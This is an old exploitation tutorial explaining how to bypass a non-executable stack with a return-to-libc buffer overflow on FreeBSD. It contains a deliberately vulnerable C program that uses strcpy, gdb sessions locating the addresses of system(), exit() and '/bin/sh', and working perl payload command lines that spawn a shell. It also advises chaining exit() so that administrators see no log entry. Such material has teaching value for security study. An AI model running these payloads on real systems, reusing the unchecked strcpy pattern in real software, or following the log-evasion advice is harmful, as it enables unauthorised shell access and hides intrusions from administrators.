Bypassing non-executable-stack during exploitation using return-to-libc
    by c0ntex | c0ntex[at]gmail.com
-----------------------------------------------------------------------


Returning to libc is a method of exploiting a buffer overflow on a system that has a non-executable stack, it is very similar to a standard buffer overflow, in that the return address is changed to point at a new location that we can control. However since no executable code is allowed on the stack we can't just tag in shellcode.  

This is the reason we use the return into libc trick and utilise a function provided by the library. We still overwrite the return address with one of a function in libc, pass it the correct arguments and have that execute for us. Since these functions do not reside on the stack, we can bypass the stack protection and execute code.

In the following example I will use the system() function, a generic return argument and a command argument, "/bin/sh", and as no shellcode is required to use this method, it is also a very suitable trick for overflows where buffer space is a real issue.

How does the technique look on the stack - a basic view will be something similar to this:

[-] Buffer overflow smashing EIP and jumping forward to shellcode

                              1              2
    |-------------------|-----------|------------|---------------------------|
    |             AAAAAAAAAAAA      |    RET     |        SHELLCODE          |
    |-------------------|-----------|------------|---------------------------|
           args              EBP         EIP


[-] Buffer overflow doing return-to-libc and executing system function

                              1            2               3
    |-------------------------------|------------|--------------|------------|
    |            buffer             |   system   |   fake_ret   |   /bin/sh  |
    |-------------------------------|------------|--------------|------------|
           args              EBP         EIP
                                       

Now that we know what we need to achieve, let's compile the vulnerable application and run it.

/* retlib.c */
#include <stdio.h>
int main(int argc, char **argv)
{
  char buff[5];

  if(argc != 2) {
    puts("Need an argument!");
    _exit(1);
  }
  printf("Exploiting via returnig into libc function\n");
  strcpy(buff, argv[1]);
  printf("\nYou typed [%s]\n\n", buff);
  return(0);
}

-bash-2.05b$ ./retlib AAAAAAAAAA
Exploiting via returning into libc function

You typed [AAAAAAAAAA]

-bash-2.05b$ ./retlib `perl -e 'print "A" x 30'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Segmentation fault (core dumped)
-bash-2.05b$ gdb -q -c ./retlib.core
Core was generated by `retlib'.
Program terminated with signal 11, Segmentation fault.
#0  0x08004141 in ?? ()
(gdb)

By adding another two bytes to the buffer we will overwrite the return address completely:

-bash-2.05b$ ./retlib `perl -e 'print "A" x 32'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Segmentation fault (core dumped)
-bash-2.05b$ gdb -q -c ./retlib.core
Core was generated by `retlib'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) q
-bash-2.05b$

RET overwrite buffer size: 32

So we know the buffer length we need to use, next we need to find the address of a library function that we want to
execute and have perform the job of owning this application.

-bash-2.05b$ gdb -q ./retlib
(no debugging symbols found)...(gdb)
(gdb) b main
Breakpoint 1 at 0x804859e
(gdb) r
Starting program: /home/c0ntex/retlib
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804859e in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x28085260 <system>
(gdb) q
The program is running.  Exit anyway? (y or n) y
-bash-2.05b$

System address: 0x28085260

We can see the address for system is at 0x28085260, that will be used to overwrite the return address, meaning when
the strcpy overflow triggers and the function returns, retlib will return to this address and execute system with the
arguments we supply to it.

The first argument will be that of /bin/sh, having system spawn a shell for us. You can either search the memory for
the string or you can add one to an environment variable, the latter is easiest and shown here.

One thing to note is you need to make sure that you drop the SHELL= part as this will royally screw things up. Drop
back into gdb and find the address of the string "/bin/sh"
 
-bash-2.05b$ gdb -q ./retlib
(no debugging symbols found)...(gdb)
(gdb) b main
Breakpoint 1 at 0x804859e
(gdb) r
Starting program: /home/c0ntex/retlib
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804859e in main ()
(gdb) x/s 0xbfbffd9b
0xbfbffd9b:      "BLOCKSIZE=K"
(gdb)
0xbfbffda7:      "TERM=xterm"
(gdb)
0xbfbffdb2:      "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/home/c0ntex/bin"
(gdb)
0xbfbffe1f:      "SHELL=/bin/sh"
(gdb) x/s 0xbfbffe25
0xbfbffe25:      "/bin/sh"
(gdb) q
The program is running.  Exit anyway? (y or n) y
-bash-2.05b$

Great, so we have all the information we need and the final buffer will look like the following:

  EIP smash      = 32 - 4 = 28  (due to padding)
  system()      = 0x28085260
  system() return address    = SEXY (word)
  /bin/sh        = 0xbfbffe25

    |-------------------------------|-------------------|--------------|----------------|
    |            28 A's             |    0x28085260     |      SEXY    |    0xbfbffe25  |
    |-------------------------------|-------------------|--------------|----------------|
         args             EBP           EIP


Remember that things are pushed onto the stack in reverse, as such, the return address for system will be before the address of our shell, once the shell exits the process will jump to SEXY, which, to save having a log entry should call exit() and cleanly terminate.

Putting that together, we whip up our command line argument:

retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28SEXY\x25\xfe\xbf\xbf";'`

lets give it a try :-)

-bash-2.05b$ ./retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28SEXY\x25\xfe\xbf\xbf";'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAA`(SEXY%þ¿¿]

=/home/c0ntex: not found
Segmentation fault (core dumped)
-bash-2.05b$ 

Hmm, something went wrong, open it up in gdb and verify the location of SHELL, it seems to have changed

-bash-2.05b$ gdb -c ./retlib.core
GNU gdb 5.2.1 (FreeBSD)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-undermydesk-freebsd".
Core was generated by `retlib'.
Program terminated with signal 11, Segmentation fault.
#0  0x59584553 in ?? ()
(gdb) x/s 0xbfbffe25
0xbfbffe25:      "ME=/home/c0ntex"
(gdb) x/s 0xbfbffce8
0xbfbffce8:      "/bin/sh"
(gdb) q
-bash-2.05b$ ./retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28SEXY\xe8\xfc\xbf\xbf";'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAA`(SEXYèü¿¿]

$ ps -ef
  PID  TT  STAT      TIME COMMAND
  563  p0  Ss     0:00.92  -bash (bash)
  956  p0  S      0:00.02  ./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAA`R\b(SEXY\M-h\M-|\M-?\M-?
  957  p0  S      0:00.01  sh -c /bin/sh
  958  p0  S      0:00.02  /bin/sh
  959  p0  R+     0:00.01  ps -ef
$

Segmentation fault (core dumped)
-bash-2.05b$

On my FreeBSD box, the above core dump will be logged in /var/adm/messages, and an administrator will be able to tell that someone has been trying to exploit a binary

Apr 11 12:25:48 badass kernel: pid 976 (retlib), uid 1002: exited on signal 11 (core dumped)

If you want to remain stealth it is advised to change the return address of SEXY to the libc address of exit(), so when you quit there won't be any log of your activity.

-bash-2.05b$ gdb -q ./retlib
(no debugging symbols found)...(gdb)
(gdb) b main
Breakpoint 1 at 0x804859e
(gdb) r
Starting program: /home/c0ntex/retlib
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804859e in main ()
(gdb) p exit
$1 = {<text variable, no debug info>} 0x281130d0 <exit>
(gdb) q
The program is running.  Exit anyway? (y or n) y
-bash-2.05b$ ./retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28\xd0\x30\x11\x28\xe8\xfc\xbf\xbf";'`
Exploiting via returnig into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAA`(Ð0(èü¿¿]

$ exit
-bash-2.05b$

There, this time it was clean the function exited cleanly and did not leave a log entry behind. As you might have guessed from tagging exit() into the argument, it is possible to string multiple function calls together by creating your own stack frames. This process is well documented in a phrack article by Negral in his phrack document https://www.phrack.org/phrack/58/p58-0x04 and is useful for port binding and many other tricks.

EOF